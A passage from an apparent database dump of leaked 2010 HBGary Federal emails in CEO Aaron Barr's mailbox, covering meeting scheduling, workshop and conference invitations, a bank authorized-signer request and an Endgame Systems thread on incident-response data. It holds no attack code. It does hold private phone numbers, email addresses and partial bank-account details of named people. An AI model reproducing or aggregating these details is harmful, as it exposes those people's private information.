W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12045,'aaron_hbgary_com/12045.html'),(6162,'2010-05-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004428.M27657P14101Q1017.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Invitation to Workshop in Zurich, Switzerland','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: International Cyber\r\nCenter Distribution List [mailto:ICC-AP-L@metis3.gmu.edu] On Behalf Of Andy\r\nPurdy\r\nSent: Sunday, May 02, 2010 3:43 PM\r\nTo: ICC-AP-L@metis3.gmu.edu\r\nSubject: Invitation to Workshop in Zurich, Switzerland\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe International Cyber Center of George Mason University\r\nis organizing the Second Workshop on Cyber Security and Global Affairs and\r\nSecurity Confabulation VI in cooperation with the Center for Security Studies,\r\nETH Zurich.&nbsp; When:&nbsp; July 7 (Wednesday) to July 9 (Friday) &nbsp;\r\nLocation:&nbsp; ETH (Swiss Federal Institute of Technology) Zurich,\r\nSwitzerland.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe invite your contribution and active\r\nparticipation.&nbsp; We expect an interdisciplinary workshop with academic,\r\ngovernment and industry participation. The deadline for submitting one page\r\nabstracts is 28 May 2010.\r\n\r\n&nbsp;\r\n\r\nAdditional information is available at http://www.internationalcybercenter.org/workshops/cs-ga-2010&lt;http://www.internationalcybercenter.org/workshops/cs-ga-2010&gt;.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nInformation about the 2009 workshop is at http://www.internationalcybercenter.org/workshops/cs-ga-2009&lt;http://www.internationalcybercenter.org/workshops/cs-ga-2009&gt;\r\n\r\n&nbsp;\r\n\r\nWith best regards,\r\n\r\n&nbsp;\r\n\r\nAndy Purdy\r\n\r\nCo-Director, International Cyber Center\r\n\r\nMail Stop 4A5\r\n\r\nGeorge Mason University\r\n\r\nFairfax, VA 22030\r\n\r\n&nbsp;\r\n\r\n202 486 0720\r\n\r\napurdy1@gmu.edu\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8061,'aaron_hbgary_com/8061.html'),(6163,'2010-05-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004428.M285383P14101Q1018.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','RE:','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob will be going with Martin\r\nand Aaron Barr.&nbsp; Aaron told me about 2 months ago he wanted to attend\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Saturday, May 08, 2010 11:44 AM\r\nTo: \'Penny Leavy-Hoglund\'\r\nSubject: \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWho would like to Go to the First conference June 13-16\r\n?&nbsp; We can have to with our package.&nbsp; Ineed to make arrangements this\r\nweek.&nbsp; I will also have to send the booth directly to them after\r\nCEIC.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',221,'aaron_hbgary_com/221.html'),(6164,'2010-05-10','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004428.M534521P14101Q1019.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Meeting with Lincloln @ Wed May 12 12pm - 1pm (Irving Mr 	OSD ATL Lachow)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to meet here at the SCO?\r\n&nbsp;\r\n\r\n\r\n\r\n',16863,'aaron_hbgary_com/16863.html'),(6165,'2010-05-10','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004428.M752882P14101Q1020.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,\"nathan.atherley@farallon-research.com\" <nathan.atherley@farallon-research.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ray Owen\" <ray.owen@farallon-research.com>','Meeting on cyber accelerator and Aaron\'s ideas','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, May 20, 2010 9:00 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: SCO\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',14669,'aaron_hbgary_com/14669.html'),(6166,'2010-05-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004428.M998133P14101Q1021.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Disney','Hi Greg,\r\n\r\nI am coming out to Sacramento today with Mark, and we leave Thursday.\r\nMark will be attending the training, and I will be taking notes so we\r\ncan prep to teach the class here in Colorado Springs.  Aaron mentioned\r\nthat you have an incident response meeting with Disney on Thursday.\r\nCould me and/or Mark tag along?\r\n\r\nTed\r\n\r\n',2625,'aaron_hbgary_com/2625.html'),(6167,'2010-05-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004429.M241955P14101Q1022.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Federal','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, May 10, 2010 at 1:36 PM\r\nSubject: HBGary Federal\r\nTo: helen.verescak@wellsfargo.com\r\nCc: Penny Leavy \r\n\r\n\r\nHelen,\r\n\r\nAs discussed, please add Penny Leavy-Hoglund (cc\'d) as an authorized\r\nsigner for HBGary Federal, LLC acct # ending in 3804.  Please forward\r\nme the form via email and I will return via fax after Penny and I have\r\nsigned it.\r\n\r\nThanks,\r\nTed Vera\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',834,'aaron_hbgary_com/834.html'),(6168,'2010-05-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004429.M585881P14101Q1023.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark.trynor@hbgary.com','Wow!','This is cool:\r\n\r\nhttp://vuezone.com/yourlife/?_kk=&_kt=24f60761-9824-4669-a74d-920e6d248df6&gclid=CP6lnI6pyKECFQykiQodRUDO_w\r\n\r\nTed\r\n',7288,'aaron_hbgary_com/7288.html'),(6169,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004429.M909763P14101Q1024.eml','prooney3@csc.com','CTSC','Paul,\r\n\r\nI had a conversation with SAIC today, Scott Sheldon.  Do you have some\r\ntime to discuss?  Not sure if you are aware but Northrop chose the\r\nBooz team.  Also word that I got from SAIC and others is Booz isn\'t\r\nnecessarily that weak.  Seems to me it will take a very strong team to\r\nunseat Booz and i think an SAIC/CSC team could do it, separate given\r\nBooz not very vulnerable seems like a longer shot.  Just wondering\r\nyour thoughts.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n',15346,'aaron_hbgary_com/15346.html'),(6170,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004430.M192811P14101Q1025.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Accepted: Invitation: Meeting with Lincloln @ Wed May 12 12pm - 	1pm (Irving Mr OSD ATL Lachow)','That sounds good.\r\n\r\nSent from my iPad\r\n\r\nOn May 10, 2010, at 2:30 PM, \"Lachow, Irving Mr OSD ATL\"\r\n wrote:\r\n\r\n> \r\n',16281,'aaron_hbgary_com/16281.html'),(6171,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004430.M438465P14101Q1026.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: Moving on','Congratulations Jake.Send me a note when you get settled in, I\'ll buy you a celebratory beer.AaronOn May 10, 2010, at 10:51 AM, Olcott, Jacob wrote:After 4.5 years, today is my last day with the House Homeland Security Committee. &nbsp;I recently accepted a position as counsel with the Senate Commerce Committee.&nbsp; I will be handling technology, Internet, cybersecurity, science, and space issues for Sen. Rockefeller.&nbsp;Effective next week (Monday May 17), my new contact information will be:&nbsp;Jacob_Olcott@senate.commerce.gov(202) 224-0411&nbsp;I look forward to continuing our work together.&nbsp;Best,&nbsp;Jake&nbsp;Jacob OlcottSubcommittee Director and CounselEmerging Threats, Cybersecurity, S&amp;T SubcommitteeCommittee on Homeland Security (Majority)202-226-2623&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14005,'aaron_hbgary_com/14005.html'),(6172,'2010-05-10','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297004430.M728454P14101Q1027.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Moving on','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI will, thanks buddy\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 10, 2010 4:45 PM\r\nTo: Olcott, Jacob\r\nSubject: Re: Moving on\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations Jake.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSend me a note when you get settled in, I\'ll buy you a\r\ncelebratory beer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 10, 2010, at 10:51 AM, Olcott, Jacob wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAfter\r\n4.5 years, today is my last day with the House Homeland Security Committee.\r\n&nbsp;I recently accepted a position as counsel with the Senate Commerce\r\nCommittee.&nbsp; I will be handling technology, Internet, cybersecurity,\r\nscience, and space issues for Sen. Rockefeller.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEffective\r\nnext week (Monday May 17), my new contact information will be:&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJacob_Olcott@senate.commerce.gov\r\n\r\n\r\n\r\n\r\n\r\n(202)\r\n224-0411\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nlook forward to continuing our work together.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJake\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJacob\r\nOlcott\r\n\r\n\r\n\r\n\r\n\r\nSubcommittee\r\nDirector and Counsel\r\n\r\n\r\n\r\n\r\n\r\nEmerging\r\nThreats, Cybersecurity, S&amp;T Subcommittee\r\n\r\n\r\n\r\n\r\n\r\nCommittee\r\non Homeland Security (Majority)\r\n\r\n\r\n\r\n\r\n\r\n202-226-2623\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13178,'aaron_hbgary_com/13178.html'),(6173,'2010-05-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004431.M453891P14101Q1028.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Bank','Penny, please sign and email to me and Helen Verescak at Wells Fargo helen.verescak@wellsfargo.com \r\n. This will allow you to access the Acct online and transfer between  \r\naccts.\r\n\r\nTed\r\n\r\n\r\n',13671,'aaron_hbgary_com/13671.html'),(6174,'2010-05-10','\"Shane Shook\" <shane@shook.net>','/aaron@hbgary.com/new/1297004432.M278502P14101Q1030.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: missed u','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nShane Shook has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/10/2010\r\n\r\n\r\n  Subject:\r\n  RE: missed u\r\n\r\n\r\n\r\n  Sure or anytime this afternoon now - either way\r\n\r\n\r\n\r\nOn 05/10/10 3:59 PM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHi Shane,\r\n\r\n \r\n\r\nSorry I missed you today.  I didn\'t free up until about 3.  How about tomorrow?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',9694,'aaron_hbgary_com/9694.html'),(6175,'2010-05-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004432.M38038P14101Q1029.eml','\"Barr Aaron\" <aaron@hbgary.com>','.Mac Reader: Slashdot','feed://rss.slashdot.org/Slashdot/slashdot\r\n\r\n\r\n\r\n',14554,'aaron_hbgary_com/14554.html'),(6176,'2010-05-11','\"Goldman, Bradford L.\" <BRADFORD.L.GOLDMAN@saic.com>','/aaron@hbgary.com/new/1297004432.M570616P14101Q1031.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Discussions @ Tue May 11 3:30pm - 4:30pm (BRADFORD.L.GOLDMAN@saic.com)','\r\n',911,'aaron_hbgary_com/911.html'),(6177,'2010-05-11','\"Shane Shook\" <sdshook@yahoo.com>','/aaron@hbgary.com/new/1297004432.M910648P14101Q1032.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: missed u','sure - tomorrow is good, ironically I was talking with Foundstone at 3pm about you guys.\r\n&nbsp;\r\nthanks - Shane \r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Shane Shook &lt;shane@shook.net&gt;Sent: Mon, May 10, 2010 5:41:31 PMSubject: missed u\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 5/10/2010 \r\nSubject: missed u \r\nHi Shane,Sorry I missed you today. I didn\'t free up until about 3. How about tomorrow?Aaron \r\nView/reply to this message\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation',7367,'aaron_hbgary_com/7367.html'),(6178,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004433.M313021P14101Q1033.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Ping','Begin forwarded message:From: Chris Collins &lt;chris@tipodean.com&gt;\r\nDate: May 10, 2010 11:44:05 PM PDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: Ping\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nChris Collins has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/10/2010\r\n\r\n\r\n  Subject:\r\n  RE: Ping\r\n\r\n\r\n\r\n  Ted,\r\n\r\n\r\n\r\nGive me a call tomorrow some time and we can connect. Would love to be syn&#39;ed up with the prime on this. If Aaron is going to go to the conference give him my number 415 515 6928\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\nOn 05/10/10 11:03 PM, Ted Vera wrote:\r\n\r\n--------------------\r\n\r\nI was on travel today Chris, just got in to Sacramento. I didn&#39;t know about the conference, but Aaron lives in DC and is going to look into it, not sure if he can slip in on short notice or not... I&#39;ll give you a call tomorrow my cell is 719.237.8623\r\n\r\n\r\n\r\nWe are probably not going to go after this opportunity, too many higher priority things for us currently, but I may be able to link you up with a prime who is. \r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n------------------------\r\n\r\n\r\n\r\nTed,\r\n\r\n\r\n\r\nNot sure if you received my email that came from my direct email (I seem to end up in some peoples spam). I would like to followup with you on this. Are you going to the Federal Consortium of Virtual Worlds event? If so let&#39;s meet up or let&#39;s make a time to have a call.\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\nOn 05/06/10 1:53 PM, Ted Vera wrote:\r\n\r\n--------------------\r\n\r\nHi Chris,\r\n\r\n\r\n\r\nHave you seen this?\r\n\r\n\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c8b3aafc4b15afc4aa222ec196e7413c&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\nHope all is well,\r\n\r\nTed\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',2915,'aaron_hbgary_com/2915.html'),(6179,'2010-05-11','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004433.M559840P14101Q1034.eml','aaron@hbgary.com','Re: Question','Aaron, same here. Do you want to send me a couple times this week that work for you?  Thanks Aaron. \r\n\r\n\r\nDaniel Ingevaldson \r\nEndgame Systems\r\ndsi@endgames.us\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Daniel Ingevaldson\r\nSubject: Re: Question\r\nSent: May 4, 2010 4:22 PM\r\n\r\nHi Dan,\r\n\r\nSorry I got slammed.\r\n\r\nHow about another time in the next few days?\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 4:13 PM, Daniel Ingevaldson wrote:\r\n\r\n> Hey Aaron--how about 1pm or 2pm tomorrow?\r\n> \r\n> -d\r\n> \r\n> On May 3, 2010, at 3:55 PM, Aaron Barr wrote:\r\n> \r\n>> Great.  Thanks Chris.\r\n>> \r\n>> Dan,  please let me know some good times to call.\r\n>> \r\n>> Aaron\r\n>> On May 3, 2010, at 3:44 PM, Chris Rouland wrote:\r\n>> \r\n>>> We are currently offering it for Net Defense and Incident Response as well as Cyber ISR.   Free may to set up a call with Dan Ingevaldson, our COO who is working on NetD and Commercial applications for our cayman program.    CC\'d here.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> On May 3, 2010, at 3:42 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hey Chris,\r\n>>>> \r\n>>>> I was talking with Greg and Penny about Incident Response and they brought up a conversation they had with you a while back related to infected IP addresses you had visibility in to.  Are you interested in talking about how that data might be used to support Net Defense or Incident Response?  Right now developing a process for proceduralized incident response and finding the most effective methods.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',10166,'aaron_hbgary_com/10166.html'),(6180,'2010-05-11','\"Joshua Fugate\" <jsfugate@hotmail.com>','/aaron@hbgary.com/new/1297004433.M960606P14101Q1035.eml','\"Aaron Barr\" <aaron@hbgary.com>','Can you endorse me?','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn Recommendations\r\n\r\n      \r\n        Joshua Fugate is requesting an endorsement for work\r\n\r\n  \r\n  \r\n     Dear Aaron, \r\nI\'m sending this to ask you for a brief recommendation of my work that I can include in my LinkedIn profile. If you have any questions, let me know.\r\n\r\n\r\n\r\nThanks in advance for helping me out.\r\n\r\n\r\n\r\n-Joshua Fugate\r\n  \r\n  \r\n\r\n      \r\n      \r\n      \r\n        Endorse Joshua Fugate.\r\n        It only takes a minute\r\n      \r\n      \r\n      Your endorsement can help Joshua Fugate:\r\n      \r\n        Hire and get hired\r\n        Win customers and partnerships\r\n        Build a stronger professional reputation\r\n      \r\n  \r\n  This email was sent to you by Joshua Fugate (jsfugate@hotmail.com) through LinkedIn because Joshua Fugate entered your email address. If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',2721,'aaron_hbgary_com/2721.html'),(6181,'2010-05-11','\"Potomac Officers Club\" <events@potomacofficersclub.com>','/aaron@hbgary.com/new/1297004434.M191338P14101Q1036.eml','aaron@hbgary.com','POC Event Reminder','\r\nPotomac Officers Club - Event Registration Confirmation\r\n\r\n\r\nbody, td{font-family:arial,sans-serif;font-size:80%}\r\na:link, a:active, a:visited{color:#0000CC}\r\nimg{border:0}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    					\r\n\r\nBy clicking NO You will not be contacted about Martha N. Johnson, Administrator of General Services again\r\n\r\nDear Aaron,\r\n	\r\n	The POC has another great event coming up soon!  Martha Johnson (Administrator of General Services) will be speaking at a luncheon event on Wednesday, June 2. This is an exclusive opportunity to hear directly from the head of the Federal Government’s largest consumer of IT products and services! As Administrator, Johnson presides over the largest federal acquisition and procurement agency. GSA leverages the buying power of the entire federal government through procurement schedules to secure, in the most cost-effective, transparent, and sustainable manner possible, the goods, services, and real property that the civilian federal government needs to operate.\r\n\r\nDon’t miss this rare opportunity.  Details of the event are as follows:\r\n\r\nDate:  Wednesday, June 2, 2010\r\nTime:  11:30 am (networking and registration) 12:00 – 1:00 (Speaker and lunch)\r\nLocation:  The Ritz Carlton – Tyson’s Corner\r\n\r\n\r\nWe hope to see you all there!\r\n\r\n\r\n\r\n    					\r\n	\r\n	\r\n	By clicking NO You will not be contacted about Martha N. Johnson, Administrator of General Services again\r\n	\r\n	\r\n	\r\n	  \r\n  \r\n\r\n&nbsp;\r\nEVENT SPONSOR&nbsp;\r\n	&nbsp;\r\n\r\n\r\n\r\n\r\nPowered by\r\nCarbon8 Studios.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3719,'aaron_hbgary_com/3719.html'),(6182,'2010-05-11','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004434.M603244P14101Q1037.eml','\"Barr Aaron\" <aaron@hbgary.com>','Andy Purdy','\r\n\r\n',4047,'aaron_hbgary_com/4047.html'),(6183,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004434.M843321P14101Q1038.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Question','sure.  Thursday is open right now.  Does that work?\r\n\r\nAaron\r\n\r\nOn May 11, 2010, at 8:34 AM, Daniel Ingevaldson wrote:\r\n\r\n> Aaron, same here. Do you want to send me a couple times this week that work for you?  Thanks Aaron. \r\n> \r\n> \r\n> Daniel Ingevaldson \r\n> Endgame Systems\r\n> dsi@endgames.us\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Daniel Ingevaldson\r\n> Subject: Re: Question\r\n> Sent: May 4, 2010 4:22 PM\r\n> \r\n> Hi Dan,\r\n> \r\n> Sorry I got slammed.\r\n> \r\n> How about another time in the next few days?\r\n> \r\n> Aaron\r\n> \r\n> On May 3, 2010, at 4:13 PM, Daniel Ingevaldson wrote:\r\n> \r\n>> Hey Aaron--how about 1pm or 2pm tomorrow?\r\n>> \r\n>> -d\r\n>> \r\n>> On May 3, 2010, at 3:55 PM, Aaron Barr wrote:\r\n>> \r\n>>> Great.  Thanks Chris.\r\n>>> \r\n>>> Dan,  please let me know some good times to call.\r\n>>> \r\n>>> Aaron\r\n>>> On May 3, 2010, at 3:44 PM, Chris Rouland wrote:\r\n>>> \r\n>>>> We are currently offering it for Net Defense and Incident Response as well as Cyber ISR.   Free may to set up a call with Dan Ingevaldson, our COO who is working on NetD and Commercial applications for our cayman program.    CC\'d here.\r\n>>>> \r\n>>>> Thanks\r\n>>>> \r\n>>>> On May 3, 2010, at 3:42 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Hey Chris,\r\n>>>>> \r\n>>>>> I was talking with Greg and Penny about Incident Response and they brought up a conversation they had with you a while back related to infected IP addresses you had visibility in to.  Are you interested in talking about how that data might be used to support Net Defense or Incident Response?  Right now developing a process for proceduralized incident response and finding the most effective methods.\r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> \r\n>> ---------------------------------\r\n>> Daniel S. Ingevaldson, COO\r\n>> Endgame Systems, LLC\r\n>> dsi@endgames.us\r\n>> (w)404-781-2955\r\n>> (f)404-781-2951\r\n>> (m)404-992-9449\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16858,'aaron_hbgary_com/16858.html'),(6184,'2010-05-11','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004435.M320166P14101Q1040.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Question','',6416,'aaron_hbgary_com/6416.html'),(6185,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004435.M556588P14101Q1041.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Question','2pm sounds good.  I will send out an invite.  Also, you guys ever work with SecDev before?\r\n\r\nAaron\r\n\r\nOn May 11, 2010, at 10:36 AM, Daniel Ingevaldson wrote:\r\n\r\n> Aaron--Thurs afternoon is pretty open.  2pm?  \r\n> \r\n> -d\r\n> \r\n> On May 11, 2010, at 10:33 AM, Aaron Barr wrote:\r\n> \r\n>> sure.  Thursday is open right now.  Does that work?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On May 11, 2010, at 8:34 AM, Daniel Ingevaldson wrote:\r\n>> \r\n>>> Aaron, same here. Do you want to send me a couple times this week that work for you?  Thanks Aaron. \r\n>>> \r\n>>> \r\n>>> Daniel Ingevaldson \r\n>>> Endgame Systems\r\n>>> dsi@endgames.us\r\n>>> ------Original Message------\r\n>>> From: Aaron Barr\r\n>>> To: Daniel Ingevaldson\r\n>>> Subject: Re: Question\r\n>>> Sent: May 4, 2010 4:22 PM\r\n>>> \r\n>>> Hi Dan,\r\n>>> \r\n>>> Sorry I got slammed.\r\n>>> \r\n>>> How about another time in the next few days?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On May 3, 2010, at 4:13 PM, Daniel Ingevaldson wrote:\r\n>>> \r\n>>>> Hey Aaron--how about 1pm or 2pm tomorrow?\r\n>>>> \r\n>>>> -d\r\n>>>> \r\n>>>> On May 3, 2010, at 3:55 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Great.  Thanks Chris.\r\n>>>>> \r\n>>>>> Dan,  please let me know some good times to call.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> On May 3, 2010, at 3:44 PM, Chris Rouland wrote:\r\n>>>>> \r\n>>>>>> We are currently offering it for Net Defense and Incident Response as well as Cyber ISR.   Free may to set up 